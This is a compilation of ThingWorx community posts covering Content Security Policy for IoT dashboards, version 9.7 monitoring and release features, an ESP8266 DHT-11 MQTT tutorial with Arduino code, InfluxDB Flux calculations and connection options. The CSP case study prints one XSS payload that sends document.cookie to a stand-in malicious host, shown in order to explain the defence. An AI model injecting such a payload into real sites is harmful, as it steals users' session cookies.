IoT Tips

Introduction    As the Internet of Things (IoT) continues to grow, securing web applications and connected devices is more critical than ever. Content Security Policy (CSP) is a security feature that helps protect IoT applications from malicious threats by controlling which resources—such as scripts, styles, and images—can be loaded and executed in a browser. This article explores what CSP is, the types of attacks it prevents, its role in securing IoT applications, the most common CSP directives used for enhanced security, and a real-world case study demonstrating CSP in action.    What is Content Security Policy (CSP)?    Content Security Policy (CSP) is a web security standard designed to reduce the risk of security vulnerabilities such as Cross-Site Scripting (XSS), data injection, and clickjacking by enforcing strict content-loading policies within web applications. It allows developers to specify which domains are permitted to execute scripts, load images, fetch data, and render styles, ensuring that only trusted sources can interact with the application.    How CSP Works    CSP works by defining security policies through HTTP headers or <meta> tags in the HTML document. These policies restrict the sources from which the browser can load various types of content, including JavaScript, CSS, and images. By doing so, CSP helps prevent unauthorized code execution and ensures that applications only interact with pre-approved content providers.    Why CSP is Essential    In an era where cyber threats are becoming more sophisticated, CSP plays a crucial role in securing web applications by:  Blocking Malicious Scripts: Prevents the execution of unauthorized JavaScript injected by attackers.  Preventing Data Exfiltration: Stops malicious code from sending sensitive user or device data to untrusted servers.  Mitigating Clickjacking: Restricts embedding in iframes to prevent deceptive UI attacks.  Enforcing Trusted Sources: Ensures that all resource requests originate from approved locations.    Types of Attacks Prevented by CSP    CSP acts as a defense mechanism against several types of web security threats, including:    a. Cross-Site Scripting (XSS)  Attackers inject malicious JavaScript into a web page to steal sensitive information, manipulate content, or perform unauthorized actions on behalf of the user.  CSP prevents XSS by restricting the execution of inline scripts and untrusted third-party JavaScript.    b. Clickjacking  Attackers trick users into clicking hidden elements (e.g., disguised buttons or links) within an iframe, potentially leading to account hijacking or unintended actions.  CSP helps mitigate clickjacking by enforcing the frame-ancestors directive, which controls who can embed the application in an iframe.    c. Data Injection Attacks  Attackers inject malicious content into an application, leading to data leaks, corrupted transactions, or manipulated IoT device responses.  CSP limits data injection risks by restricting content sources and enforcing secure policies   d. Mixed Content Attacks  When a secure HTTPS site loads insecure HTTP resources, attackers can intercept or modify the content.  CSP prevents mixed content vulnerabilities by enforcing policies that allow only secure content to be loaded.    Role of CSP in Securing IoT Applications    IoT applications often involve web-based dashboards, real-time analytics, and device interactions, making them attractive targets for cyber threats. CSP plays a crucial role in strengthening security by:    a. Restricting Untrusted Content  IoT platforms often load content dynamically from various sources, including APIs, third-party libraries, and external services. Without CSP, attackers can inject malicious scripts into these data streams, compromising the integrity of IoT dashboards. By defining strict CSP policies, developers can ensure that only pre-approved content sources are allowed.    b. Preventing Unauthorized Data Access  Many IoT applications handle sensitive data, such as real-time sensor readings, user credentials, and system logs. Attackers may attempt to inject malicious scripts that exfiltrate this data to external servers. CSP prevents such unauthorized access by blocking script execution from untrusted origins and preventing cross-origin data leaks.    c. Strengthening Access Control  In IoT ecosystems, multiple users, devices, and services interact with web applications. Without strict access controls, attackers can exploit weak points to execute unauthorized commands or alter data. CSP helps enforce access control by limiting the execution of scripts and API requests to verified sources, ensuring that only authenticated and authorized entities can interact with the system.    d. Minimizing Third-Party Risks  Many IoT applications integrate with third-party analytics tools, mapping services, and external widgets. If these third-party services are compromised, they can introduce vulnerabilities into the IoT ecosystem. CSP allows developers to whitelist only trusted third-party services, reducing the risk of supply chain attacks.    Common CSP Directives for Enhanced Security    To maximize security, developers should implement the following key CSP directives:  default-src: Defines the default source for all types of content (scripts, images, styles, etc.).  connect-src: Governs network requests (e.g., API calls, WebSockets, IoT data exchanges).  font-src: Specifies trusted sources for web fonts.  frame-ancestors: Prevents clickjacking by restricting which domains can embed the application in an iframe.  frame-src: Controls the sources from which iframes can be loaded.  img-src: Specifies trusted sources for loading images.  media-src: Defines allowed sources for media files like audio and video.  object-src: Restricts the sources from which plugins (e.g., Flash, Java applets) can be loaded.  script-src: Controls which sources are allowed to execute JavaScript.  style-src: Restricts the sources for CSS stylesheets.  worker-src: Defines the sources allowed to create web workers and service workers.  By defining a least-privilege CSP policy, developers can significantly reduce the attack surface and protect IoT applications from evolving cyber threats.    Case Study: Preventing an XSS Attack in an Industrial IoT Platform    Scenario:    A manufacturing company uses an Industrial IoT (IIoT) platform to monitor real-time sensor data from its factory machinery. The platform provides a web-based dashboard where engineers can track machine performance, predict failures, and configure alerts.    Attack Attempt:    An attacker exploits a form input field used for naming machines and injects the following malicious script:    <script>fetch('https://malicious.com/steal?data='+document.cookie);</script>    Since the platform lacks CSP enforcement, this script executes within the engineers’ browsers, stealing session cookies and granting unauthorized access to the attacker.    How CSP Prevented the Attack:    By implementing a CSP policy that restricts script execution to trusted sources, the attack is neutralized. The following CSP directive is applied:    Content-Security-Policy: script-src 'self' https://trusted-scripts.com;    This prevents unauthorized script execution, ensuring that malicious scripts injected by attackers do not run within the IIoT platform. As a result, the IIoT system remains secure, preventing attackers from compromising sensitive factory data or disrupting production operations.    Conclusion    Content Security Policy (CSP) is a fundamental security measure for modern web applications, particularly those operating in IoT environments. By understanding CSP, recognizing the threats it mitigates, and implementing the most effective directives, developers can ensure a more secure and resilient application framework.    CSP support has been introduced in ThingWorx versions 9.3.15, 9.4.5, 9.5.1, and 9.6.0. In the initial release, this feature will be disabled by default, and cloud customers will need to contact the support team to request activation, as it will not be enabled by default. The current implementation establishes a foundation that facilitates future out-of-the-box (OOTB) enablement of CSP in subsequent releases.   For more information on implementing the Content Security Policy, kindly refer to ThingWorx Help Center   Vineet Khokhar Principal Product Manager, IoT Security   Stay tuned for more updates as we approach the release of ThingWorx v10.0, and as always, in case of issues, feel free to reach out to <support.ptc.com>   

Improvements in Monitoring and Diagnostics The Outcome of the Diagnostics Forum of Yesterday By Tori Firewind, Principal Cloud Architect Introduction Many moons ago, a forum of dedicated diagnostic enthusiasts gathered together throughout several round-table discussions to produce a list of diagnostic daydreams, groom and refine that list, and then use it to produce realistic, yet awesome diagnostics requirements. Three different organizations, eight teams in total across PTC were involved, and dozens of real-world, customer experiences were considered throughout these conferences. In the end, a large diagnostics feature was designed and passed already prioritized, from the front lines directly into the backlog in the first ever collaborative effort to do Dev Ops as a process at PTC.   The fruits of this labor are now available in the latest version, ThingWorx 9.7! These features include the largely anticipated acceleration-based monitoring, custom persistence provider monitoring, and the ability to turn off metrics as needed, as well as additional open telemetry integrations and capabilities. This article will spotlight some of these new features and direct you to the 9.7 Help Center pages for more information. The Platform is smarter and Dev Ops easier than ever before, with the latest and greatest in monitoring found right here in ThingWorx 9.7.   Acceleration-Based Monitoring This is an extremely cool new feature in ThingWorx where the Platform monitors itself for runaway queues, those which indicate a system malfunction in the event or value stream queues for instance. If the acceleration is high enough for that queue, the Platform will automatically generate stack traces. This ensures the diagnostic data is already on the disc if and when the issue progresses to an outage.   No more do diagnostic SMEs have to sit and wait for a problem to occur again before they start investigating! Now they can download the stack traces that the Platform already stored on the disc.   Of course, it’s really important to get this feature configured right. If thread dumps are taken too often, those associated with the root cause may be purged before a tech can look more closely; only 10 thread dumps at a time are stored on the disc to prevent it growing out of proportion. On the other hand, if it does not take thread dumps often enough or in response to the right kinds of acceleration readings, then the root cause may altogether not be captured.   For this reason, there are several parameters to use to configure this feature, one being the acceleration increase percentage, considered very significant and a potential sign of trouble within the queue. This value is a flat percentage calculated at the time of measurement: queue count / total size of the queue. This number is checked frequently, as configured by another parameter, the acceleration calculation frequency. If the queue size exceeds the queue capacity occupied percentage at the same time the increase percentage is above the threshold, then the Platform records a stack trace on the disc. This ensures the diagnostic data will be present even after a restart, from early on when the problem began.   Another key parameter is the number of acceleration occurrences to wait before turning the thread captures on, which allows for a great specificity of when to collect the diagnostic data. Even if the acceleration is met once, well maybe that means nothing; perhaps it is normal for the queue to accelerate quickly at times. However, let’s say it does it 5 times within 30 seconds or a minute, or maybe the acceleration is elevated for some time, and we are approaching a data loss scenario. A rule based around the first scenario will capture close to the root cause, while the second might serve to collect what events didn’t make it into the queue before the restart.   Once the thread dumps are taken, there is a configurable cool off period in which no new stack traces will be recorded. This can allow the stack traces to be taken repeatedly at set intervals for persistent issues, and also reduces the overall activity of recording stack traces to ensure only the most useful ones remain on the disc.   One of five queues can be monitored in this way: Persistent Property Queue Event Processing Queue Stream Processing Queue Value Stream Processing Queue Connections Pool Processing Queue An example of setting all of these values can be found along with more information in the Help Center.   Custom Persistence Provider Monitoring There is now the capacity to see what the Platform is doing when interacting with your own custom persistence providers, or those used by the various ThingWorx applications like Navigate or DPM. At the monitoring endpoint, all persistence providers will now be listed at /Metrics, tagged by their name and database type:     # HELP thingworx_ThingworxPersistenceProvider_ConnectionPool_BusyConnections Current count of busy connections to the underlying database # TYPE thingworx_ThingworxPersistenceProvider_ConnectionPool_BusyConnections gauge thingworx_ThingworxPersistenceProvider_ConnectionPool_BusyConnections{category="DPMpersistenceProvider.ConnectionPool",databaseType="Microsoft SQL Server",otel_scope_name="com.thingworx",persistenceProviderEntityName="DPMpersistenceProvider",platformid="",prefix="Platform.Core.PersistenceProvider"} 0.0 thingworx_ThingworxPersistenceProvider_ConnectionPool_BusyConnections{category="ThingworxPersistenceProvider.ConnectionPool",databaseType="PostgreSQL",otel_scope_name="com.thingworx",persistenceProviderEntityName="ThingworxPersistenceProvider",platformid="",prefix="Platform.Core.PersistenceProvider"} 0.0     For more information about which parts of the persistence providers are monitored, see the Help Center.   Disable Metrics Now there is the potential to turn off some metrics if they become problematic or threaten to destabilize the entire environment. For example, the Audit Subsystem has a history of causing such issues for many, since the database tables grow very large and counting the rows can begin to take time. Turning these metrics off is now something easily done in the next maintenance window.   Simply add some code to your platform-settings.json file and restart the server, and whatever metrics specified will no longer be captured or appear at the metrics endpoints:     "MetricsSettings": { "DisabledMetricsList": [ "<metrics name 1>", "<metrics name 2>", "<metrics name 3>" ] }     Please note that there are several caveats and a warning to those who would turn off default monitoring features: ensure critical metrics are not unintentionally turned off and remember that this feature is intended for administrators who know the system well and need the ability to fine-tune its monitoring to ensure performance. Read more about this feature and its caveats in the Help Center.   Open Telemetry OpenTelemetry support was introduced in 9.6 and expanded in ThingWorx 9.7 to facilitate the recording of high volume monitoring metrics. It handles large-scale metrics and provides a more robust observability and capability for both diagnostic and predictive analysis. Find the new endpoint at /MetricsHC, with the old metrics still available as before. You can also use this metrics library to create your own custom metrics in a ThingWorx Extension, really expanding the metrics capability of the Platform. More information on how to make use of OpenTelemetry for monitoring can be found in the Help Center.   Conclusion ThingWorx does Dev Ops now better than ever, with features like these coming straight from real-world experiences and going right into the development workflow. Already, 4 additional monitoring features have been thought up and added to the mix, and improvements are coming soon! With more feedback on how to better to Dev Ops in ThingWorx, feel free to reach out.

The following videos are provided to help users get started with ThingWorx:     ThingWorx Installation ThingWorx PostgreSQL Setup for Windows ThingWorx PostgreSQL for RHEL   ThingWorx Data Storage Introduction to Streams Introduction to Value Streams Introduction to DataTables Introduction to InfoTables     ThingWorx Concepts & Functionality Introduction to Media Entities Using State Formatting in a Mashup Configuring Properties     ThingWorx REST API REST API (Part 1) REST API (Part 2)     ThingWorx Edge SDK Configuring File Transfer with the .NET SDK     ThingWorx Analytics Getting Started with ThingWorx Analytics Part 1 Getting Started with ThingWorx Analytics Part 2 Installing ThingWorx Analytics Builder Part 1 of 3 Installing ThingWorx Analytics Builder Part 2 of 3 Installing ThingWorx Analytics Builder Part 3 of 3 Creating Signals in the Analytics Builder How to Access the ThingWorx Analytics Interactive API Guide  

    About   This is part of a ThingBerry related blog post series.         ThingBerry is ThingWorx installed on a RaspBerry Pi, which can be used for portable demonstrations without the need of utilizing e.g. customer networks. Instead the ThingBerry provides its own custom WIFI hotspot and allows Things to connect and send / receive demo data on a small scale.   In this particual blog post we'll discuss on how to connect a ESP8266 module to the ThingBerry WIFI hotspot and send data from a DHT-11 sensor via the MQTT protocol.   As the ThingBerry is a highly unsupported environment for ThingWorx, please see this blog post for all related warnings.   Install MQTT broker on the ThingBerry     To install mosquitto as a MQTT broker, log in to the ThingBerry and run     sudo apt-get install mosquitto   This will provide a basic broker installation, which is good enough for this example. MQTT clients (including ThingWorx) will connect to this broker to exchange messages. There will be no added security like encrypted traffic shown in this example, it's however good practise to secure MQTT broker / client connections.   While the ESP8266 module is publishing information, ThingWorx will subscribe to the corresponding topics to update its internal property values with what is sent by the ESP8266 module.   For more information on MQTT, how to configure it for ThingWorx or more security relevant information also see   https://community.thingworx.com/message/5063#5063 https://community.thingworx.com/community/developers/blog/2016/08/08/securing-mqtt-connection-to-thingworx-platform?sr=tcontent   Configure the ESP8266     There are too many instructions on the web already on how to initially setup the ESP8266 and use it with the Arduino IDE. I'll therefore just refer to Google which covers the topic more extensively than I ever could.   All coding in this example is done in the Arduino IDE and is pushed to the ESP8266 (NodeMCU) via USB. For this you might need to install a CH340g USB driver for the NodeMCU.   In the Arduino IDE under Tools, I have set my environment to   Board: NodeMCU 1.0 (ESP-12E Module) CPU Frequency: 80 MHz Flash Size: 4M (3M SPIFFS) Upload Speed: 115200 Port: COM3   Under Sketch > Include Library > Manage Libraries add / install the following libraries:   DHT sensor library by Adafruit Adafruit Unified Sensor by Adafruit PubSubClient by Nick O'Leary   These bring the libraries necessary to read data from the DHT-11 sensor and to configure the ESP8266 as MQTT client.     Wiring the DHT-11 sensor     The following image shows the PINs on the ESP8266     I'm using a DHT-11 sensor with cables included and already fixed to a board with 3 PINs. In case you're using a different version, there might be additional components and wiring required, like a resistor etc. Google might help here as well.     Ensure that neither board nor sensor are plugged in, and the ESP8266 is powered off.   To hook the sensor up to the ESP8266, join   ( - ) to GND ( + ) to 3.3V (out) to D3   After all the connections are made, connect the ESP8266 via USB to a computer / laptop with the Arudino IDE configured.   Coding   In the Arduino IDE use the following code - adjust the WIFI settings and the MQTT broker configuration. Ensure to rename the ESP_xx name / topic to something more meaningful, e.g. a specific device name (or just leave it as is if in doubt).   Use the ssid and wpa_passphrase from the hostapd.conf used to configure the ThingBerry as WIFI hotspot.   Copy&paste the code below into the Arduino IDE, verify it and upload it to the ESP8266.     If searching for a WIFI connection, the device's blue LED will blink. A successful connection to the broker and publishing the values will result in a static blue LED. In case the LED is off, the connection to the broker is lost or messages cannot be published.   For troubleshooting, use the Serial Monitor function (at 115200 baud) in the Arduino IDE. In case sensor data cannot be read but the wiring is correct and the code addressing the correct PIN verify the sensor is indeed working. It took me a long time to figure out that the first sensor I used was a defective device.   The current configuration sends updates every 10 seconds - longer intervals might make more sense, but can trigger a timeout for the MQTT broker. In this case the program will re-connect automatically and log corresponding messages in the Serial Monitor. This might seem like an error, but is indeed intended behavior by the code and the MQTT broker.     Configure MQTT Thing in ThingWorx     Create a new Thing in ThingWorx based on the MQTT Template. Add two properties:   temperature humidity   Both set to persistent and logged and Data Change Type to ALWAYS. Also configure a Value Stream to log a history of values.   In the configuration, add two more subscriptions. Activate the "subscribe" checkbox and map name (local property) to topic (MQTT topic), e.g.   name = temperature; topic = ESP_xx/temp name = humidity; topic = ESP_xx/hum   Ensure the correct servernames, ports etc. are configured (an empty servername will use the localhost).   Save the configuration. Property values should now be updated from the MQTT broker, depending on what the device is sending.   Code #include "DHT.h" #include "PubSubClient.h" #include "ESP8266WiFi.h" /* * * Configure parameters for sensor and network / MQTT connections * */ // setup DHT 11 pin and sensor #define DHTPin D3 #define DHTTYPE DHT11 // setup WiFi credentials #define WLAN_SSID "mySSID" #define WLAN_PASS "WIFIpassword" // setup MQTT #define MQTTBROKER "mqttbrokerhostname" #define MQTTPORT 1883 // setup built-in blue LED #define LED 2 /* * ============================================================ * * DO NOT CHANGE ANYTHING BELOW * (unless you know what you're doing) * */ // initiate DHT DHT dht(DHTPin, DHTTYPE); // initiate MQTT client WiFiClient wifiClient; PubSubClient client(MQTTBROKER, MQTTPORT, wifiClient); /* * setup */ void setup() { // switch off internal LED pinMode(LED, OUTPUT); digitalWrite(LED, HIGH); // start serial monitor Serial.begin(115200); // start DHT dht.begin(); // start WiFi WiFi.begin(WLAN_SSID, WLAN_PASS); } /* * the loop */ void loop() { // while not connected to WiFi, print "." // after connection exit the loop // blink LED while having no WiFi signal boolean wifiReconnect = false; while (WiFi.status() != WL_CONNECTED) { digitalWrite(LED, LOW); delay(200); Serial.print("."); digitalWrite(LED, HIGH); delay(300); wifiReconnect = true; } // if WiFi has reconnected, print new connection information and turn on LED if (wifiReconnect == true) { // print connection information and local IP address, mac address Serial.println(); Serial.println("WiFi connected"); Serial.println(WiFi.localIP()); Serial.println(WiFi.macAddress()); Serial.println(); // turn on built-in LED to indiciate successful WiFi connection digitalWrite(LED, LOW); } // if MQTT client is not connected, connect again // turn on built-in LED to indicate a successful connection if (!client.connected()) { Serial.println("Disconnected from MQTT server... trying to connect"); if (client.connect("ESP_xx")) { Serial.println("Connected to MQTT server"); Serial.println("Topic = ESP_xx"); digitalWrite(LED, LOW); } else { Serial.println("MQTT connection failed"); digitalWrite(LED, HIGH); } Serial.println(); } // read temperature and humidity from sensor float t = dht.readTemperature(); float h = dht.readHumidity(); if (isnan(t) || isnan(h)) { // if temperature or humidity is not a number, print error Serial.println("Failed retrieving data from DHT sensor"); } else { // print temperature and humidity Serial.print(t); Serial.print("° - "); Serial.print(h); Serial.print("%"); Serial.println(); // only send values to MQTT broker, if client is connected if (client.connected()) { // boolean to check for errors during payload transfer bool isError = false; // create payload and publish values via MQTT client // use buffer to convert float to char* char buffer[10]; dtostrf(t, 0, 0, buffer); if (client.publish("ESP_xx/temp", buffer)) { Serial.print(" published /temp "); } else { Serial.print(" failed /temp "); isError = true; } dtostrf(h, 0, 0, buffer); if (client.publish("ESP_xx/hum", buffer)) { Serial.print(" published /hum "); } else { Serial.print(" failed /hum "); isError = true; } Serial.println(); // on error, turn off LED if (isError == true) { digitalWrite(LED, HIGH); } else { digitalWrite(LED, LOW); } } } // sleep for 10 seconds // if sleep > default mosquitto timeout : a reconnect is forced for each update-cycle delay(10000); }

  The latest release of ThingWorx, version 9.7, brings powerful updates across performance, scalability, security, and developer productivity. Designed to meet the evolving demands of IoT and AR solutions, this version equips businesses with the tools to build smarter applications, improve operational efficiency, and stay ahead of the curve.   Performance & Scalability ThingWorx 9.7 introduces key updates that enhance performance and scalability for large-scale operations. The addition of partitioned value streams enables faster queries and purging of massive data sets, streamlining data management. Lazy loading for grid components optimizes application responsiveness, ensuring a seamless user experience, even in data-intensive environments. Additionally, the new Data Ordering feature ensures that ingested data is processed in the exact order it is received, even across asynchronous systems. This capability guarantees accurate execution of application logic and precise end calculations, addressing critical needs in industries requiring serialized data processing.   Reliability Enhancements Reliability is critical in enterprise applications, and ThingWorx 9.7 delivers with automated disaster recovery, providing quick failover mechanisms for deployments on the PTC Cloud. Enhanced diagnostics and tools for high-availability environments address challenges such as large cache collections, helping maintain stability and preventing bottlenecks in mission-critical systems.   Developer Productivity ThingWorx 9.7 offers developers a range of productivity-boosting features. The Mashup Builder enhancements include binding filtering, container zooming, and intuitive design tools that make application development faster and more efficient. Grid customizations, like inline editing and bulk selection, further streamline workflows. Developers also benefit from the latest Eclipse plugin, ensuring compatibility with modern tools and technologies.   Security & Compliance Security continues to be our highest priority in this release. ThingWorx 9.7 fully supports Java 21, delivering enhanced memory management and access to the latest security patches. TLS 1.3 Phase-2 integration brings advanced encryption protocols to secure communication across platforms. Additional security measures, such as granular file permissions, give administrators more control over sensitive data and operations.   Industry-Specific Solutions ThingWorx 9.7 introduces several innovative features tailored for specific industries: Route Versioning in Connected Work Cells: Manufacturers can now revise and track work cell routes with precision, creating complete traceability for serial numbers, routes, and associated work instructions. This feature streamlines workflows, enhances traceability, and boosts operational efficiency. Enhanced Operational Insights: The release includes new key performance indicators (KPIs) and reporting tools to deliver actionable insights at the factory line, site, and enterprise levels. These updates help organizations measure efficiency, reduce downtime, and improve overall productivity. Asset Muting for Chatty Devices: In scenarios where connected devices become overly chatty—sending excessive or unnecessary data—administrators can now mute these assets. This prevents data overload and mitigates risks such as distributed denial-of-service (DDoS) attacks, optimizing platform performance and ensuring uninterrupted operations. Improved Deployment Reliability: Enhancements in software content management ensure reliable and scalable management of large-scale deployments, reducing downtime and improving device performance.   Third-Party Library Upgrades ThingWorx 9.7 includes key updates to its underlying technology stack, ensuring compatibility with modern enterprise systems, improved performance, and robust security. To stay future-ready, we have updated its core technology stack, including Tomcat 9.0.95, Ignite 2.16 and RabbitMQ 3.13.7 to highlight few.   Why Upgrade to ThingWorx 9.7? ThingWorx 9.7 sets a new benchmark for IoT platforms, offering enhanced scalability, state-of-the-art security, and intuitive tools for developers. The updates cater to both enterprise-scale deployments and industry-specific challenges, ensuring that businesses can innovate and operate with confidence in an increasingly complex digital landscape.   Upgrade to ThingWorx 9.7 today and unlock new possibilities for innovation and success! View release notes here for more details on exact updates and be sure to upgrade to 9.7! Vineet Khokhar Principal Product Manager- IOT Security  

Hello everyone,   Following a recent  experience, I felt it was important to share my insights with you. The core of this article is to demonstrate how you can format a Flux request in ThingWorx and post it to InfluxDB, with the aim of reporting the need for performance in calculations to InfluxDB. The following context is renewable energy. This article is not about Kepware neither about connecting to InfluxDB. As a prerequisite, you may like to read this article: Using Influx to store Value Stream properties from... - PTC Community     Introduction   The following InfluxDB usage has been developed for an electricity energy provider.   Technical Context Kepware is used as a source of data. A simulation for Wind assets based on excel file is configured, delivering data in realtime. SQL Database also gather the same data than the simulation in Kepware. It is used to load historical data into InfluxDB, addressing cases of temporary data loss. Once back online, SQL help to records the lost data in InfluxDB and computes the KPIs. InfluxDB is used to store data overtime as well as calculated KPIs. Invoicing third party system is simulated to get electricity price according time of the day.   Orchestration of InfluxDB operations with ThingWorx ThingWorx v9.4.4 Set the numeric property to log Maintain control over execution logic Format Flux request with dynamic inputs to send to Influx DB  InfluxDB Cloud v2 Store logged property Enable quick data read Execute calculation Note: Free InfluxDB version is slower in write and read, and only 30 days data retention max.     ThingWorx model and services   ThingWorx context Due to the fact relevant numeric properties are logged overtime, new KPIs are calculated based on the logged data. In the following example, each Wind asset triggered each minute a calculation to get the monetary gain based on current power produced and current electricity price. The request is formated in ThingWorx, pushed and executed in InfluxDB. Thus, ThingWorx server memory is not used for this calculation.   Services breakdown CalculateMonetaryKPIs Entry point service to calculate monetary KPIs. Use the two following services: Trigger the FormatFlux service then inject it in Post service. Inputs: No input Output: NOTHING FormatFlux_CalculateMonetaryKPI Format the request in Flux format for monetary KPI calculation. Respect the Flux synthax used by InfluxDB. Inputs: bucketName (STRING) thingName (STRING) Output: TEXT PostTextToInflux Generic service to post the request to InfluxDB, whatever the request is Inputs: FluxQuery (TEXT) influxToken (STRING) influxUrl (STRING) influxOrgName (STRING) influxBucket (STRING) thingName (STRING) Output: INFOTABLE   Highlights - CalculateMonetaryKPIs Find in attachments the full script in "CalculateMonetaryKPIs script.docx". Url, token, organization and bucket are configured in the Persitence Provider used by the ValueStream. We dynamically get it from the ValueStream attached to this thing. From here, we can reuse it to set the inputs of two other services using “MyConfig”.   Highlights - FormatFlux_CalculateMonetaryKPI Find in attachments the full script in "FormatFlux_CalculateMonetaryKPI script.docx". The major part of this script is a text, in Flux synthax, where we inject dynamic values. The service get the last values of ElectricityPrice, Power and Capacity to calculate ImmediateMonetaryGain, PotentialMaxMonetaryGain and PotentialMonetaryLoss.   Flux logic might not be easy for beginners, so let's break down the intermediate variables created on the fly in the Flux request. Let’s take the example of the existing data in the bucket (with only two minutes of values): _time _measurement _field _value 2024-07-03T14:00:00Z WindAsset1 ElectricityPrice 0.12 2024-07-03T14:00:00Z WindAsset1 Power 100 2024-07-03T14:00:00Z WindAsset1 Capacity 150 2024-07-03T15:00:00Z WindAsset1 ElectricityPrice 0.15 2024-07-03T15:00:00Z WindAsset1 Power 120 2024-07-03T15:00:00Z WindAsset1 Capacity 160   The request articulates with the following steps: Get source value Get last price, store it in priceData _time ElectricityPrice 2024-07-03T15:00:00Z 0,15 Get last power, store it in powerData _time Power 2024-07-03T15:00:00Z 120 Get last capacity, store it in capacityData _time Capacity 2024-07-03T15:00:00Z 160 Join the three tables *Data on the same time. Last values of price, power and capacity maybe not set at the same time, so final joinedData may be empty. _time ElectricityPrice Power Capacity 2024-07-03T14:00:00Z 0,15 120 160 Perform calculations gainData store the result: ElectricityPrice * Power _time _measurement _field _value 2024-07-03T15:00:00Z WindAsset1 ImmediateMonetaryGain 18 maxGainData store the result: ElectricityPrice * Capacity lossData store the result: ElectricityPrice * (Capacity – Power) Add the result to original bucket   Highlights - PostTextToInflux Find in attachments the full script in "PostTextToInflux script.docx". Pretty straightforward script, the idea is to have a generic script to post a request. The header is quite original with the vnd.flux content type Url needs to be formatted according InfluxDB API     Well done!   Thanks to these steps, calculated values are stored in InfluxDB. Other services can be created to retrieve relevant InfluxDB data and visualize it in a mashup.     Last comment It was the first time I was in touch with Flux script, so I wasn't comfortable, and I am still far to be proficient. After spending more than a week browsing through InfluxDB documentation and running multiple tests, I achieved limited success but nothing substantial for a final outcome. As a last resort, I turned to ChatGPT. Through a few interactions, I quickly obtained convincing results. Within a day, I had a satisfactory outcome, which I fine-tuned for relevant use.   Here is two examples of two consecutive ChatGPT prompts and answers. It might need to be fine-tuned after first answer.   Right after, I asked to convert it to a ThingWorx script format:   In this last picture, the script won’t work. The fluxQuery is not well formatted for TWX. Please, refer to the provided script "FormatFlux_CalculateMonetaryKPI script.docx" to see how to format the Flux query and insert variables inside. Despite mistakes, ChatGPT still mainly provides relevant code structure for beginners in Flux and is an undeniable boost for writing code.  

  Guidelines for selecting the optimal method for connecting to ThingWorx   GUIDE CONCEPT   In the world of IoT application development, connectivity refers to the infrastructure and protocols which connect devices to the cloud or network. Edge devices handle the interface between the physical world and the cloud.   ThingWorx provides you with several different tools for connecting to the Thingworx platform.   This guide is designed as an introduction to these tools, and will help you determine which to choose based on your specific requirements.   YOU'LL LEARN HOW TO   Pros and cons of different connection methods The connection method best suited for some typical applications Where to find detailed information about any connection method   NOTE: This guide's content aligns with ThingWorx 9.3. The estimated time to complete this guide is 30 minutes   Step 1: Connectivity Method Options   There are many factors that will influence your decision about the ideal mechanism to connect to ThingWorx. On this page we compare and contrast different methods and give examples for where each one is a natural fit.   Connectivity Method Developer Benefit REST API Integrate seamlessly using dynamically-generated API calls Azure IoT Hub Connector Connect devices that use Azure IoT Hub Edge SDKs Build full-featured integrations for any platform ThingWorx Kepware Server Connect out-of-the-box with over 150 protocol drivers for industrial equipment Edge MicroServer Establish bi-directional connectivity with this complete, ready-to-run agent   REST API   Pros Cons Typical use case Skills Required Connection Type  Web developer can easily create integration ThingWorx cannot trigger action on the edge Push data from small devices to ThingWorx REST API development Request/Response   Using the ThingWorx REST API is an easy way for low-capability devices to connect with a ThingWorx platform. Any edge device that can make an HTTP POST can read and update properties or execute services on a ThingWorx platform. The disadvantage of this method is that it is one way from edge to platform. There is no way for the platform to initiate a service on the remote device and properties are only updated when the edge device initiates a connection with ThingWorx.   Learn more about the ThingWorx REST API:   Use REST API to Access ThingWorx Using the Connect an Arduino Developer Board tutorial REST API Documentation   Azure IoT Hub Connector   Pros Cons Typical use Case Skills Required Connection Type  Easily connect devices that use Azure IoT Hub Adds dependency and cost to application Add ThingWorx for devices connected with the Azure cloud Azure edge development AlwaysOn™   The diagram illustrates device-to-cloud integration with the Azure IoT Hub.   The ThingWorx Azure IoT Hub Connector establishes network connections to both ThingWorx Foundation and the Azure IoT Hub. Data flows in from devices, through the Azure IoT Hub hosted in the cloud, to the ThingWorx Azure IoT Hub Connector configured for a specific ThingWorx instance. The ThingWorx Azure IoT Hub Connector translates messages from the Azure IoT Hub format, to the native ThingWorx format and uses an established AlwaysOn connection to forward the information to ThingWorx Foundation.   Azure IoT Hub   Connect Azure IoT Devices   Edge SDKs   Pros Cons Typical Use case Skill Required Connection Type  Fully integrate device or remote system with ThingWorx platform Most developer flexibility All functionality must be developed by programmer Full customization or tight integration required Application development in Java, C, or .Net AlwaysOn™   These SDKs are developer tools that wrap the protocol used to connect to the ThingWorx Platform. There are SDK's available for Java, C, and .Net languages. The Edge MicroServer uses the C SDK internally. All SDKs use the ThingWorx AlwaysOn binary protocol together with the HTTP WebSocket protocol for transport. WebSocket connections can operate through a firewall allowing two-way, low latency communication between the device and server. The SDKs support the following key concepts that allow a Thing developed with an SDK to be a full-fledged entity in the ThingWorx environment:   Remote properties — Entities that define the types, identities, and values from a device or remote system Services — Actions that can be performed on demand by a device or remote system Events — Data that is sent to a subscribed device or remote system whenever the Event is triggered   You can choose from any of the SDK's to create a custom application that meets their exact requirements.   C SDK   The C SDK is the most lightweight of all the SDKs and will result in an application that uses the least amount of RAM, frequently requiring less than 200kB. It is the only SDK that is distributed as source code, allowing compilation of C SDK applications on any platform even those without an operating system.   Learn more about the C SDK:   C SDK Tutorial C SDK Documentation   Java SDK   The Java SDK is designed for portability and simplicity to ease connecting any Java-enabled device or system to ThingWorx. The Java SDK is provided as .jar files and sample Java source code. Any system that can run Java 1.7.51 or later should be able to build and run the example applications.   Learn more about the Java SDK:   Java SDK Tutorial Java SDK Documentation   .Net SDK   The .Net SDK is provided as .dll files with sample Visual C# project files and source code. Any system that can run Microsoft NET 3.5 SP1 Framework development environment should be able to build and run the example applications.   Learn more about the .Net SDK:   .Net SDK Documentation   ThingWorx Kepware Server   Pros Cons Typical Use case Skill Required Connection Type  Easily connect to hundreds of different types of industrial equipment Requires computer running Windows physically connected to device Adding ThingWorx to an industrial setting Configure settings AlwaysOn™   The ThingWorx Kepware Server Windows client lets users quickly and easily connect real-time, bi-directional industrial controls data to the ThingWorx IoT Platform via the ThingWorx AlwaysOn protocol. ThingWorx services enable users to browse, read, write, and interact with ThingWorx Kepware Server, and includes intuitive tools that simplify the modeling of industrial things.   Learn more about the ThingWorx Kepware Server:   Connect Industrial Devices and Systems ThingWorx Kepware Server Documentation ThingWorx Kepware Server Manual   Edge MicroServer   Pros Cons Typical Use case Skill Required Connection Type  Easily connect with simple scripting Requires a device running Windows or Linux Customization with Lua 